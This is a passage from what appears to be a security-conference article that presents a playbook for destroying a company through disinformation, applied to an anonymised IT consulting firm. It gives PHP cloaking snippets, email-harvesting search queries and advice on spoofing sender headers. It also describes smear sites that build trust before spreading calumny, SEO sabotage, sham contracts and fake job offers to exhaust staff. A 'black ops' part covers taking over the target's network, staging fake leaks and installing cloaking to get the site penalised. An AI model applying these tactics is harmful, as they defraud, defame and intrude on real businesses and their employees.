cell can act as it wants with no central control. On Internet, it is not that difficult to find people 
sharing the same hobbies, that being either Star Trek or killing infidels. 



We could think to apply this in two ways. First,  when the target is very well known it is very 
convenient to federate all opponents however, this is not always possible. For instance, if the target 
is a not clearly identified (e.g. not a company) but a sectoral activity like petrol, health care, bank, 
and  so  on.  Instead  of  targeting  the  leader,  we  could  focus  on  all  its  competitors,  and  try  to 
”aggregate” them in a joined operation (what they may not be aware of). However, this works fine 
on Internet because the long tail is infinite, which is not true in reality.

In the first section, we introduce the main ideas of the proposed strategy. As it rests mainly on 
communication on Internet, we explain what is Search Engine Optimization in the second section. 
Finally, we give details on our example targeting a real (but anonymized) IT consulting company. 
This  operation is  built  with legal/white  means.  However,  we will  also  show how illegal/black 
technical operations could increase efficiency.

Principles of information based attacks

Our goal is really simple here: destruction. Rather than focusing on a single weakness and trying to 
exploit  it,  we  will  use  several  small  ones.  The  strategy can be  compared to  the  one  used  by 
pyromaniacs: rather than igniting a forest at a single point, he will do it at several, so that it fully 
burns.  This  is  the  principle  proposed  by  the  long tail,  that  is  combining several  second order 
weaknesses. 

Once information on the target has been collected, three additional steps are required: 

1. Populating the attackers, that is recruiting people who will act according to the expected 
goal (sometimes without even being aware of this goal). 

2. Preparing  the  battlefield:  that  is  the  choice  of  weapons,  where  and  how  they  will  be 
configured. 

3. Exporting the battle: in most cases, an information based attack needs to be public, thus this 
step intends to make the battle known to the right people (e.g. when targeting a bank, the 
proper stocks market, or public opinion to target child work). 

As stated in the introduction, this is what modern terrorists do: several cells with no connection 
lead an operation without considering what the others do. The damaged parts may appear as non 
significant, but when everything is put together, it disrupts the political power (mainly because the 
government seems unable to ensure its duty, e.g. providing electricity or water). Furthermore, any 
kind of attacker with the same destructive objective can use the same tactic, mainly because it has 
two strong advantages: 

• The real attacker stays hidden, he will just provide information to the ones doing the real 
attack.

• The attack is not expensive and can be performed by everybody with time and brain power. 

Conversely, the difficulty for the attacker will be to keep the control of the actions as the recruited 
groups may go to unexpected behaviours. This should be anticipated by the attacker who usually 
does not care anymore of what happens once he has reached his goals.

Populating the attackers

The first step to conduct such an action is to recruit attackers. This can be achieved in 2 ways: 

1. Infiltrate  areas  where  they  are  already,  that  is  to  join  already  existing  groups  (e.g. 
consumers association). 

2. Make them comet to us, e.g. creating your own contesting. 



The first  situation, when recruiting on Internet,  we will  need anonymizing techniques (e.g.  tor, 
proxies but also using open WiFi access points, like those provided by McDonald fast foods for 
instance). However, other kinds of contestation groups are available, like customers associations, 
NGO, and so on. However, such groups require a physical interaction, which will then need more 
people and time. Anyway, this is still an interesting source of information if needed. 

In  order  to  attract  and  organize  the  opponents,  several  techniques  are  available  (and  can  be 
combined of course): 

• Create a honeypot web site: it is a reliable source of information for a long period of time, 
based on truth, impartiality and legitimy to deal with the given topic. Once the public refers 
regularly to this site, the content evolves slowly toward opposition or rumor (e.g. blogs and 
rss feeds are really nice for that). 

• Create a site to bring together the opposition to the target, to its products, to its ethic, to its 
behaviours, and so on. 

• Rest on the will  of some NGOs to fight your target, for instance by providing piece of 
information they will be able to use (e.g. reports written by experts or intelligence gathered 
by putting pieces together). 

No matter what solution is used: as soon as the battlefield is Internet, we will need to get the best 
audience, or at least one which is higher than the target. This is why Search Engine Optimization 
(see 3) will be so useful to give audience to our sites. 

Another way to promote them is very simple: mails. Blind mailing (spam) is often put into trash 
directly.  However,  a targeted mail sending can be easily performed. First,  one needs to collect 
addresses from the target. That is easily done using Search Engines (once again). For instance, a 
query  like  site:  target.com  intext:mailto  or  site:target.com  intext:@target.com  may  give  many 
results.  Also,  looking for addresses in newsgroups is  usually profitable.  Once this  collection is 
done, we just have to write a specific mail promoting cleverly our sites. It must not look like spam, 
so we can fake the headers, e.g. it seems to come from Human Resources working on a poll to 
improve working conditions. Mail aliases, like *@target.com or department@target.com could also 
be tested if the server is badly configured. However this may overload the mail server, and then be 
spotted.

The battlefield

For this article, we chose to focus on a small part of the battlefield, that is to say Internet. However, 
when dealing with information based operations, one must not forget: 

• Consequences of our actions can be far from Internet (e.g. prosecutions). 

• It is usually much more efficient to combine several battlefields (e.g. distributing leaflets at 
the entry of a sensitive location). 

Moreover, it is very important to keep in mind that our targets are human beings, much more than 
computer systems or networks. These are just means to reach our objectives. Thus, we need to 
consider  these  different  targets,  whether  they  are  intermediate  or  final.  In  order  to  help  to 
distinguish what can be done, we rest on three kind of truth:

• Subjective truth (ST): what is understood, interpreted. 

• Objective truth (OT): what is perceived, or does not need to be known neither interpreted to 
be true. 

• Informational truth (IT): what is told, repeated . . . and thus believed to be true. 



Usually, perception is modelled based on a subject using captors to perceive an object. The very 
same model can be applied on Internet: a human is looking for information (usually based on a 
Search Engine), and then visits the top sites corresponding to his query. Based on perception model, 
the human is the subject, the top sites are the objects and the Search Engines are the captors.

Figure 1 perception model applied to Internet

Let us consider some usual influence operations related to information, and see how they adapt to 
our battlefield: 

• Intoxication: attempt to misguide the interpretations, the reasoning of the target, that is its 
analysis capacities. 

Ex.: spreading a wrong information, ”false/false” strategy (Tell the truth but in a way the 
target will believe it is false). 

• Deception: can be either based on hiding (camouflage, blinding . . .) or simulation (create, 
lure, invent). 

Ex.: WW2, when a false military base was created in order to abuse the German on the d-
day location. 

• Misinformation: based on alteration, removal, addition and so on of information. 

Ex.: ”Clearstream” in France, where an alias name for Nicolas Sarkozy was added to some 
listings  about  offshore  accounts,  or  more  seriously,  the  supposed  lethal  benzene  in  the 
bottles of Perrier.

Whatever the nature of the attack, the goal is always to trick the human brain in order to influence 
it, to bring it to take an action (or not to, which is the same). The target may or may not be aware of 
that, it is not important. The main difference between these 3 kinds of attacks is – according to the 
authors – the targets, and thus the means used to reach them. We consider intoxication targets the 
reasoning, deception the perception and misinformation the environment. Once the target is chosen, 
then the attacker knows what tools will be useful. 

Once  again,  remember  that  information  based  attacks  are  not  the  only  ones.  For  instance, 
prosecuting because of a supposed violation of a patent require from the defense (target) to provide 
elements that either he is owning the patent (and is legitimate to use it) or that he does not rely on 
it. In both cases, the target brings to light some of the solutions he is using (which can be a very 
valuable information for a competitor).

But let us come back to Internet and the human being behind the screen. How these three attacks 
can adapt on Internet: 

• Intoxication: imagine a website controlled by an attacker which published articles. Once it 
is well established and regarded as a reference, it slightly changes the orientation of the new 



articles in order to influence the usual readers. Technically, it is easy to know if the target is 
reading it by looking at the server logs and all the information spread by the browsers.

• Deception will target the search engines as they are our looking glass on Internet, but these 
glasses can be tricked to warp the results. 

• Misinformation is  something known for  years  on  Internet.  Think about  hoaxes,  rumors 
spreading from a forum to another one, then by mail, and so on. 

Note something specific to this  Internet environment:  Search Engines can be at  the same time 
captors but also part of the environment. As such, they can be targeted using both deception but 
also misinformation. This can be achieved by changing the normal behaviour of the Search Engine. 
For instance, a few years ago, it was possible to steal the page rank of sites mainly by putting an 
appropriate redirection from a fake site to the original one: Search Engines also have bugs . . . 

This is the longest part of the attack since it requires to prepare many material: articles, reports, 
web sites and so on, but most of it before the attack really starts. This can (or even must) be started 
at the same time as recruiting attackers when possible. Furthermore, this is the step of the operation 
where we will need most of the gathered information, whether this is to feed the attackers, or to 
spot  the  right  targets.  Also,  do  not  forget  that  the  recruited  attackers  also  have  their  useful 
information, if not their own weapons, and they should be included in the attacker’s strategy as 
most as possible.

Exporting the battle

In the 2 previous steps, we have populated the attackers and prepared information which will be 
used for the attack. That is time now to perform the attack. However, information based attacks can 
be strengthen using a good technical knowledge of how Internet works. 

Once the tactic has been decided, the goal is usually to take the battle to the public. In fact, most 
information  based  attacks  rely  on  public  opinion  in  order  for  the  attacker  to  succeed.  The 
information we have previously built will follow 2 directions: 

1. Increase the doubts on the target in people’s mind. 

2. Increase the bad conscience of the target. 

It is then time to use all the information we have built and provided to all the attackers so that the 
public learns about our target. 

This will be achieved by promoting our own contesting but also by decreasing the echo made to the 
answers of the target. Our goal is to emphasize our information and make the target’s  answers 
almost  unintelligible.  Hence,  during  our  preparation,  we  must  also  focus  on  some  technical 
weaknesses, which have to be spotted before starting the operation. 

Quoting Google: 

Q: What can I do if I’m afraid my competitor is harming my ranking in Google? 

A: There’s almost nothing a competitor can do to harm your ranking or have your site removed 
from our index. 

We would not be so sure of that. . . Here are a few (nasty but not illegal) ideas of what could be 
done: 

• Create duplicate content for the target website, and then denounce it to the main search 
engines: they will remove all duplicated content as they consider it as illegal. 

• Using so common cross site scripting, redirect some pages of the target’s  site to online 
casino or porn sites.



• Create link farms for the target as they are prohibited by search engines, target’s pages will 
be under-ranked in response pages. 

Whereas the previous section dealt with creating appropriate information in order to attack, we 
combine it here with technical attacks in order to increase the efficiency of the operation. 

During this period, many black operations can be conducted to increase the efficiency of the attack. 
For instance, there is a really easy way to forbid the target to answer through Internet: do a denial 
of service on its network. He could then answer on its web site, but nobody will be able to reach it. 
If the target’s network has previously been compromised (either through a remote weakness in it, 
through a physical access to it, or help of an insider), everything can be done: slightly change the 
answer given to the attack, put illegal contents on a server and denounce them to the officials, 
organize information leaking, and so on. 

However, these illegal actions are not a necessity for the attack to succeed. They may facilitate it, 
but the risks are also much higher. As always in strategy, this is a game with stakes and one have to 
compare with the gains and loss.

Introduction to Search Engine Optimization

Search Engine Optimization (SEO) is a technique well-known from the web sites developers. The 
aim is usually to not only create a web site, but also make it the most visible. This is where SEO 
techniques come into play. Their purposes is to get the best rank in the answers provided by a 
Search Engine, so that the site is the first one returned in the pages1 when a user queries for specific 
keywords. 

Most of the people do not look at the answers which are not in the first SERP1. Most do not even 
click bellow the 3rd answer, and since a site gets higher in the pages when it has visibility . . . 

We will start by showing some common techniques in order to be well referenced. Then, we will 
discuss about some darker ways.

Basic techniques

Here are a few things to keep in mind when designing a web site: 

• Keywords: need to be really creative, to avoid generic keywords (those used by everybody 
else), poison keywords (e.g. viagra or casino), but think also to use misspelled keywords.

• Good architecture: the way incoming pages and outgoing links are spread in the web site is 
really important in the way the page rank is computed. Thus, pages must not be organised 
randomly but structured in order to maximize the flow of the page rank. 

• Update the content regularly: the most a site is changing, the most robots used by Search 
Engines will come to update. 

• Provide innovative content: copy 

We will stop here. SEO is a very wide topic and outside the scope of this article. Just keep in mind 
how webmasters use SEO to be well ranked in SERP. It’s not always easy to follow all good SEO 
tricks and even if you follow them it could take months to have a website well ranked. But there are 
also other tricks to reference a website, tricks that Search Engines do not really like, tricks that we 
call Black Hat Search Engine Optimization.

1 Pages returned by Search Engines are called SERP: Search Engine Response Page.



What is Black Hat SEO

Black Hat SEO is generally defined as the use of techniques that Search Engines do not like in 
order to be well ranked in SERP. This is not a new area, but it seems relatively neglected by the 
computer security industry. 

Be aware that there is nothing illegal here. The term ”Black Hat” could lead to confusion as it is 
also used to name a specific kind of people (rather bad) in the computer security world. With SEO, 
it’s completely different, as said before, it’s only techniques that Search Engine do not like. This 
does fit very well with our article as we want using only legal/white means. 

The two main reasons of using Black Hat SEO are to increase the visibility of a website, but also to 
take advantages of PPC systems (Pay Per Click). As PPC is out of scope of this article we won’t go 
further, let’s focus ourselves on Black Hack SEO base tricks.

Cloaking

Cloaking is probably the most well known technique (but not the most widely used). The goal is to 
modify the content of a webpage depending on visitor parameters. The idea is to be well ranked on 
some keywords but when a user arrives on the webpage it will display totally different information. 
In our case (information based attacks), we can use this trick to reference a page with legitimate 
information on our target but when a user arrives on the webpage he will see a lot of contrasting 
information (for example information about financial fraud, connexion with occult networks). 

There are different kinds of cloaking. They all  have the same goal  but don’t  work differently. 
Further more, some become too easily detectable by Search Engine (obviously SE try to detect 
Cloaking). 

User-Agent cloaking

The oldest and simple cloaking is User-Agent Cloaking. When an HTTP request is made, one of the 
most interesting field is User-Agent. For a web crawler, and especially for Google, this field is set 
to something similar to ”Google Bot”. It’s easy to know if a HTTP request comes from a web 
crawler and not from a user. The following PHP script will redirect google crawler to a specific 
webpage: 

$flag=strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot"); 

if ($flag) {

 include("googlebot-special.html"); 

} else {

 // afficher page normale 

} 

This technique is not very difficult to use, however it is almost unusable. Indeed, it is very easy to 
fake the value of the User-Agent field. A web crawler could come one day with a specific User-
Agent and another day with another one. Our PHP script would become unusable as it won’t be 
able to detect the webcrawler anymore. We also have to keep in mind that when a Search Engine 
detects that you have cheated (with cloaking or others), it is most likely that you will be banned, 
and this is the last thing that we want!

Referer cloaking

A technique similar to the previous is to use the referer field which is used to know where a user 
comes from (in other  words  if  he has  arrived on our website  by clicking a link from another 



website, if he has performed a Google request etc). It is then possible to filter on keywords used by 
users: 

if (isset($_SERVER["HTTP_REFERER"])) { 

$referant = strtolower($_SERVER["HTTP_REFERER"]); 

if ((strpos($referant, "http://www.google.")!==false)

&& (strpos($referant, "q=israel")!==false)) { 

header("Location: http://www.pro-hezbollah.com"); 

exit(); 

} 

} 

IP cloaking

The last way in which we will see how to perform cloaking is based upon IP address. One more 
time, this address will be retrieved from the HTTP header (REMOTE ADDR). 

$ip = strval($_SERVER["REMOTE_ADDR"])

This method is the most efficient as it is more difficult to fake an IP address. However, it is the 
most difficult one to implement, as we need to maintain a IP address list of all web crawlers.

Advanced Black Hat SEO

Always improve your own pagerank...

Another  efficient  trick to  increase  the number  of  backlinks is  adding interesting comments  on 
guest-book, blogs or forums. The comment will contain a link to our website. If the content does 
not  make  sense,  the  probability  that  the  web  administrator  will  delete  our  comment  is  high. 
Therefore, it is probably not the best idea to have a system that automatically posts comments. 

...or decrease competitors’ one

In the category ”I want to annoy my competitor,” one trick is to use keyword poisoning. The idea is 
to inject poisonous keyword on your competitor website. Search Engines supposedly do not like 
these words, and penalize websites that use them. Of course, the competitor website has to allow 
posting from an external user: forum, blog, guest book or other. 

Another technique is Google Bowling. This technique, which is one of the most widely known, is 
to create the largest amount of bad links to your target. All sexual websites, online games, racism 
website etc. are good candidates. The more bad backlinks your target will have, the lower ranked it 
will be become. 

Even better, we can use Google Washing. Here we do not talk about links, but rather duplicating the 
whole website of our target. Only the domain name will be (slighty) different. Search engines do 
not  like  duplicate  contents  and  will  tend  to  ban  a  web  site.  If  Search  Engines  can  ban  your 
competitor website and not ours, we will be winner. Indeed, generally only one website is banned 
and often it’s the newest one, therefore a good idea is to buy a very old domain and use it as Google 
Washing. 

For patient people, it is possible to create a website totally legitimate, with quality content on a 
specific topic. Once the website is well ranked (and first in SERP) and has credibility, we change 
the content this is known as Google Insulation. 

http://www.pro-hezbollah.com/


Spamouflage (Spam + camouflage) is again another trick to inflict damage to a target website. The 
idea is to post a message on a blog or others and include a lot of bad links (to sexual websites, 
online games etc). In this list, right in the middle, we include the website of our target. It is not 
obvious how search engines will react to this trick, but it happened they banned the whole list. It is 
worth the try. 

After this short introduction to Black Hat SEO, let’s just mention other techniques like Black Hole 
SEO,  302 Page Hijack,  Blogger  Bowling,  Black Hat  Blog and Ping.  For  curious readers,  two 
websites are a must read to be kept up to date with latest Black Hat SEO tricks: bluehat SEO 
(http://www.bluehatseo.com) and seoblackhat (http://seoblackhat.com). Note for the last one, that 
the forum is not free but the blog is.

Attacking a consulting and IT services company

Briefly, the idea of information war is to produce information to influence the target by combining 
actions on different battlefields: human, technical, information etc 

Now that we have established the foundation of our scheme, it’s not time to act. It is obvious that 
everything showed in this article is totaly fictitious, and none of the following situations are based 
on reality. 

Firstly, we will introduce the players, the situation and the context. Afterwards, we will give the 
global view of attacker strategy. The two last parts will be about white and black operations. As a 
reminder, these operations have to be performed in parrallel with ”on the ground action” in order to 
consolidate them. In both cases, we will place emphasis on the technical side, which is too often 
neglected  (computes  are  only  a  container).  However,  we  will  see  how the  technical  side  can 
consolidate actions with the help of SEO. 

We will assume the attacker has already done the information gathering step, required for every 
planed attack, and focus on the tactic and planning of the attack itself.

The players

Let us start with the players. The operation is initiated by a computer service company from India, 
which wants to take over a similar company but based in Europe and more precisely in France. 
Why? Mainly to acquire its address book. We will call this company ”Proctor” to make it easier. We 
will play the game as the Indian company. The final goal of the operation is to take over Proctor to 
access its network relation. 

One more thing before starting: depending on objectives, context,  players etc.  the strategy will 
evolve. If our attacker wants to obtain a know-how, it will have to ensure that the key people in the 
company remain present. Let’s give an example, one way to decrease the value of a company is to 
recruit its most important employees. For example an engineer who would be the creator of almost 
all technical developments.  Let us says that an investment firm wants to take over a company, 
having the engineer hired by a competitor or destroying the reputation of this engineer will not help 
the investment company at all, but instead: it will decrease its investment.

The strategy

At the beginning of our article we have showed the three steps of our strategy: populating the 
attackers, preparing the battlefield and exporting the battle. It is really important to understand that 
all these steps are very closely linked together and a clear separation between them does not always 
exist. In our case, these steps will be interconnected. Also, don’t forget that our battlefield will be 
only the Internet. However, as said before, it is important that these operations are combined with 
other action not on the Internet. 



The main idea here is to weaken the link between Proctor and its address book, in other words its 
customers.  Nevertheless,  we  won’t  directly  attack  customers  but  rather,  try  to  overload  the 
commercial division of Proctor. 

Our strategy has two effects: firstly Proctor value will decrease and secondly Proctor will consume 
its energy as they don’t want their address book damaged. This is where we want to go: if Proctor 
consumes its energy to save its address book, it won’t spend this energy for something else (to 
counter the take over for example). 

Double jeopardy: suspicion toward the bride

This is the heart of our operation. The Indian company contacts Proctor asking it to collaborate on a 
different market to that of Proctor. Proctor is an international company but mainly based in France 
with business in Europe and USA. The first step for the Indian company is to attract Proctor by 
saying Asia is a highly desirably and financially attractive place for business. As Proctor is not in 
Asia yet, it has an opportunity not to miss: there is a financial income and a new market to embark 
upon. However, Proctor is not stupid and knows very well  that this kind of deal could lead to 
adverse  outcomes.  For  compensation,  the  Indian  company  requires  a  similar  arrangement: 
collaborate on European markets. 

At this stage, everything looks wonderdul for Proctor. The attacker will reveal its hidden agenda 
only after a time that will be too late for Proctor to recover. 

What are the advantages for the attacker? Firstly, the attacker can study Proctor from an inside 
perspective, thus, being able to identify key people and processes in the company. Furthermore, by 
attracting Proctor to the Indian market, it will consume its resources (commercial and legal mainly). 
For example, during the negotiation there is great probability that Proctor will use its own lawyer, 
but also an external council. Always asking for minor changes during negotiation does take time. 

Once the collaboration is legally sealed, Proctor has to work on the first big contract with the Indian 
company (and vice-versa). In order to initiate the new collaboration, the Indian company has to 
propose a first real contract between themselves. Once this first contract is complete, the Indian 
company can then move onto a contract that is only good in appearance. Again, the main idea is to 
consume Proctor’s energy and resources, but with minimum profit (Proctor is mainly interested by 
accessing Indian market). These contracts could ideally include long and endless legal negotiation. 
Don’t  forget  that  all  these  contracts  must  be  highly  consuming  to  ensure  a  lot  of  Proctor’s 
employees be involved.

Focus: drug the salesmen or deception for the groom

At the same time, we will target salesmen. Briefly, a saleman owns an address book, makes phone 
calls  and  tries  to  get  appointments.  When  he  can  get  an  appointment,  he  negotiates  with  his 
customer to get information that could help him to anticipate future needs. He also has a system 
that knows when invitations to tender are coming out. 

With Proctor, it’s exactly like this except that salesmen are junior: pressure is high and they are not 
very  aware  of  invitations  to  tender.  Also,  one more  thing that  we  know about  Proctor  is  that 
divisions are very isolated and do not share informations between them. 

What is our tactic? Make salesmen happy!! For this, very easy, we just need to provide them what 
they need: 

• a contact list: the goal is to get a contact list and give it to salesman except that this list is 
not directly exploitable. In order to get this list we can use a public relation council. This 
council  will  be  selected  with  significant  care,  as  we  require  one  that  participates  in 
commercial shows. As a matter of fact it has a visitor list (exactly what we need). Note that 



if the Indian company goes to this kind of commercial show, it can get this list itself and 
will also gain visibility. 

Now we have to give this list to salesmen. A possibility is simply to give this list to Proctor 
and  say  that  it  is  high profile  customers.  Another  idea  is  to  target  some salesmen and 
organize meetings.  At these meetings,  they are only allowed to bring USB key but not 
laptop. Then they have to plug this key on a laptop where, by ”accident”, a file named 
customer.xls is present. 

• Invitation to tender: as salesmen are under high pressure and lack experience they are not 
always aware of all invitations to tender. So we will do the job for them: we will identify the 
invitations to tender. When we find some, we transmit them to salesmen: a simple e-mail 
from Mr Durant,  who belongs  to  the  purchasing service  of  the  respective  company,  is 
enough. Also, as Mr Durant wants Proctor to answer to this invitation of tender, he will 
transmit it to several Proctor employees.

• Last but not least is to propose more money to salesmen. We can use a recruitment company 
which will try to hire key salesmen with big salary, bonus etc. The idea is to have several 
interviews. Of course the goal is not to hire these employees, but rather to make them 
confused about their current jobs and the possibility to get more money elsewhere. 

To conclude on this part, the goal here is to overload the commercial division from inside and 
outside. From inside via a new partnership or outside by offering invitations to tender, which will 
give  the  illusion  that  the  commercial  division  is  working  fine  but  in  reality  it  is  completely 
overloaded. 

This part of the operation is not about creating information but rather to saturate a division by 
providing a deluge of information, information that it can’t find by itself and even better that it 
can’t process. This needs effective information gathering techniques which is not so easy. In some 
ways, salesmen are Proctor captors and we make them blind (they could miss traditional invitations 
to tender by focusing themselves on newer more attractive ones): these methods fall into deception 
domain. 

Complementary white ops

In this part, we first focus on computer attacks. The good thing with computers is their ability to 
perform as either a container or content.  Generally, actions target one of them, however in the 
following part we will use both. 

Don’t  forget  that  all  actions  described  below are  performed together,  in  order  to  increase  the 
success of the operation. Some actions on a battlefield can consolidate actions on another one (cf. 
actions from the global strategy). 

Intoxication via website promoting

How can we reach such a result? Let’s start by making a new contestation website which is not 
trivial but more importantly, won’t be immediate. 

During the information gathering part, we have collected a lot of information regarding Proctor, but 
also the whole sector. Instead of making an opposition website against Proctor, we will create a 
website which will be the reference in the sector by rating each actor. This website will also contain 
information (articles) about each actor. Luckily, this kind of website doesn’t exist for this sector. 

This  kind of  website  exists  in  the  financial  world,  for  example  the  SRI (Socially  Responsible 
Investing),  which  takes  into  consideration  different  factors,  such  as:  ethical,  financial,  human, 
structural . . . to rate a company. We will use the same process for the Proctor sector. This will allow 
us to support a company or even better, to disadvantage a company. By this way, our website will 



appear neutral at the beginning as we quote all actors. During the start up process, we will have to 
be careful with Proctor and ensure they are not put at a disadvantage (we stay neutral). As said 
before, this strategy is really good as there is no such website for the whole sector (there are only 
forums where ex-employees explain their vision about the sector, we could use this information 
later). 

Creating and installing such a website will take time. We have to give exposure to our website, but 
also make it credible. The more people who will use/read our website, the more it will become 
credible. We can also use SEO or BlackHat SEO to give it more exposure. Moreover, we send an 
email to all employees of this sector alerting them of the new website created (email addresses are 
easy to find (Raynal & Gaspard, 2007)). 

To get even more visiblity we contact web newspapers like ZDNet or 01. We can send an email to 
journalists  explaining  the  creation  of  a  new  website  and  after  that  asking  them  directly  for 
interviews. This can be done through public relation professionals (they are not necessary aware of 
what they are doing). 

In order to be well ranked on Internet, we have to publish real and useful content. The sector rating 
will be based upon different factors, but we can focus on a factor which is often neglected: human 
resource. We can use a forum used by ex-employee to get interesting information. We can find 
these ex-employee by consulting directories of high schools or look at social networks.

Another  idea is  to  find (un)satisfied customers.  Nothing complicated here,  we can just  consult 
websites  of  all  the  actors  in  the  sector,  as  they  generally  proudly  display  their  customers. 
Unsatisfied customers could be found by looking at archives.org. By comparing two versions of a 
website we could find customers that are no longer listed on the website. 

The first six months, we keep as neutral as possible. Our only goal is to attract the largest amount of 
people on our website and obtain credibility. At the same time, we consult web logs to know where 
users come from and more interestingly what pages they are interested in. 

To increase and obtain credibility of our website we can create a forum or blog. Whatever we 
chose, we will have to moderate it with great care in order to increase our fairness. For example, we 
post a message on the forum going against Proctor. Soon after (just the time needed for people to 
see and read it), the moderator (us) performs two actions: 

• We moderate the message by deleting it. 

• We post a message explaining that this kind of post is not welcome on the forum. 

This will give us two things. Firstly, the calumny is spread. Secondly we have consolidated our 
fairness and thus the confidence of our website. 

After several months, when our website has a good credibility and exposure, it is now time to 
publish articles against Proctor. However, we will go step by step and articles won’t be completely 
against Proctor at the beginning. We don’t even have to focus articles on Proctor at the beginning, 
we can focus on several companies at the same time. 

We now have a  great resource to influence our target,  a website  consulted by a lot  of people. 
Influencing people are a first point, but we also have a tool to identify actors which could help us in 
our action. Indeed, we can now identify people who are hostile to Proctor. 

At the end, in conclusion to this part, let’s resume our methodology: 

• Populating the attackers: we ”recruit” people via our website giving it more exposure, but 
also giving us information needed to prepare our attack. 

• Preparing the battlefield: with the help of SEO, we give more exposure to our website.



• Exporting the battle:  after  giving the battlefield and information on our  website,  public 
relation council and other journalists will move and amplify our message. 

Ideally, Proctor should be aware of our website once it is well known on the internet, in order for 
Proctor to monitor it, or even better try to counter-attack (via its website or others), which will 
consume its resources and energy. 

Proctor on the web: welcome to emptiness

Contesting site is far from enough. Since we are dealing with Internet, we will stay there and use 
the search engines. Based on how they work and on some of their flaws, we will use mainly Black 
Hat SEO in order to decrease the visibility of Proctor on Internet. Considering the time line of the 
operation, this has to be done once our contesting site is well established, just before it starts to 
intoxicate its readers. In that way, visitors won’t be able to find Proctor’s answers to our critics. 

Our goal is mainly to decrease the page rank of the web site of Proctor. This company sells a 
service,  service which is  also provided by other companies (foreign or not).  When someone is 
looking for the information on this kind of service, Proctor is currently the first answer. There are 
two ways to change that, and we will use both of them. First, we can use SEO in order to increase 
competitor’s page rank. This will not be described as the techniques used are the same as the ones 
used for the contesting site. Instead, we will give some examples on the second way: decreasing 
Proctor’s page rank. 

• Google Bowling: we want to create many backlinks pointing to Proctor. We automatized the 
research  of  forums,  blogs,  guest  books  and  so  on,  but  those  dealing  with  racism, 
pornography, online casinos, and viagra for instance. 

More efficiently, we can create these sites and we include keywords close from the ones 
Proctor  is  also  using.  We  also  add  the  same  keywords  but  misspelled.  Creating 
automatically porn content is  really easy: very small  texts, many pictures which can be 
found all around internet. It is easy to write a small program doing these around one topic. 

Then, we can also use blacklisted sites. Either we create them ourselves and have them 
blacklisted, or find some (we need to cross-research on several search engines and compare 
the results). 

• Google Washing:  we duplicate the web site of Proctor.  Prior to  that,  we need to buy a 
domain name older than Proctor’s, no matter whether it is related to the topic or not. Then 
we clone the web site and claim for duplicate content. Of course, this can be done several 
times to decrease Proctor’s page rank. 

• Create a link farm, with content dealing with Proctor (automatically generated), but what is 
important is that all pages of the link farm have many links pointing to Proctor. 

All the actions bring activity around web site of Proctor, but also take down its corporate image. 
Since now, earthing we have done was not against the laws since they are withe techniques. 

Last word, we are attacking Proctor’s corporate image on two bases. Firstly, we increase how our 
contesting site is seen. Secondly, we decrease Proctor’s site audience. Both are due to SEO, used in 
different ways. All by themselves, these 2 are not enough. But they come as complementary actions 
in the main strategy, in order to strengthen it. And damaging its image is a good way to lower the 
price paid to buy Proctor.

Complementary black ops

Up to now, we have taken great care about laws. However, what if these operations were combined 
with computer based attacks? The previous actions target the corporate image, but what will happen 
once it is combined with some actions supposed to downgrade the way the company works. 



Hacking” for profit

The take over of the network is really easy, especially form the inside. Here are some examples 
coming  quickly  in  mind:  using  a  botnet,  compromising  of  the  DNS  server,  changing  the 
configuration of the router (backuping the routers is not that usual), spying on the emails, crashing 
some sensitive servers (like the domain controller, especially when the backup server itself has – 
unfortunately – a failure), installing a rogue DHCP server and so on. Many options are open but all 
require a trustworthy agent to arrange them, agent that our Indian company may not have. Anyway, 
with the increasing number of mercenaries in IT fields. . . 

Assume now we have such a capable man. He will act in a very covert way. First, he learns as much 
as he can about Proctor’s network. Then, he takes the control of it. We will not give details on how 
he gets an access to the network (e.g. fake recruiting, con trick) since it is really easy with proctor 
(high turn over, no warden at the entry of the offices). We suppose our pirate can get access to a 
laptop  (stolen,  borrowed,  given  by  the  company,  whatever).  Analyzing  it  gives  already  two 
important information: 

1. the password of the user the laptop belongs to 

2. the password of the local admin. 

The pirate could learn much more by digging into this laptop (passwords used for some websites, 
VPN authentication, emails, important files and so on). A skilled guy will need something like 2 or 
3 days (or even hours!) to learn almost all he needs about the network, from the servers (files, 
printers,  back ups)  to  the  privileged accounts.  Most  of  the time,  no exploit  will  be necessary. 
Instead, cleverness, imagination and experience are enough to guess passwords and found badly 
configured (but critical) servers. Then, it is just a matter of (short) time before the passwords are 
obtained. 

Once he  gets  the  control  on the domain controller,  he can reach every  single machine on the 
domain.  First,  he will  look at  the mail  server.  As the Indian company wants to  know what  is 
happening internally, this is a critical point. Every email by itself is interesting. But analysing who 
talks to who also reveals important people (that is the ones with influence, with the real powers), 
others we could recruit as insiders. Based on the mail server, many annoying actions are possible, 
like: 

• The pirate  can then arrange a  fake information leak. Once he has spotted an important 
employee (e.g. he is the best engineer, or has clear sight of what is happening), the intruder 
can impersonate the guy on his computer and send away some sensitive information (e.g. 
confidential documents of a client, internal notes. . .) so that it is noticed, especially from 
outside the company. 

• The pirate can manage the mail system, and thus he can cancel or delay the sending and 
receiving of emails. As he can not read every mail, a random action can enough (and most 
of the time, they are the most difficult one to notice). Since email communication works 
now in a deteriorated way, such are communication with both external and internal people.

Controlling such a server is really interesting for our attacker, even if this is usually not regarded as 
the master piece of the information system. Nevertheless, the attackers need to be very cautious 
with the information obtained in this way, since it is usually information they are not supposed to 
have. 

Some other system are also interesting, like the DNS server or the proxy cache. We can analyze 
what  sites  are  frequently  used  by  the  employees,  which  can  help  a  lot  when  doing  profiling. 
Moreover, we could also use that to randomly redirect some visit to our contesting web site. 

Lastly, since we own the network, we will help Proctor with SEO. During the discovering of the 
network, we have found that Proctor hosts its own web site. Thus, we connect to this server and 



install  some  cloaking  program.  Depending  on  the  origin  of  a  query,  different  pages  will  be 
displayed. Using the appropriate module (LKM, backdoor . . .), either on the DNS or web server, 
we can redirect the trafic wherever we want. For instance, we could keep the real web site for 
internal queries but a fake one for external ones. This can be quickly detected as many employees 
are working outside the company itself. However, since we control who can be redirected, we can 
select our targets cleverly. For instance, if some visitors come from a recruitment web site where 
Proctor puts some announce, we can display a poor web site with fake information, in order to 
discourage people to come and work at Proctor. 

Of course, since search engines do not like cloaking, we denounce Proctor and provide a proof so 
that the cloaking we installed is detected. Then, Proctor’s page rank will decrease very quickly. 

This is much more simple than it may look. A simple kernel module (abusing skbuff under Linux, 
or at the NDIS level for Windows) leads the attackers where they want. A few hundreds of C is 
enough to reach this. Strangely, providing alternative web pages is probably much more difficult as 
it needs to be done cleverly. 

Focus on the attack of Human Resources: when the human is the weak link

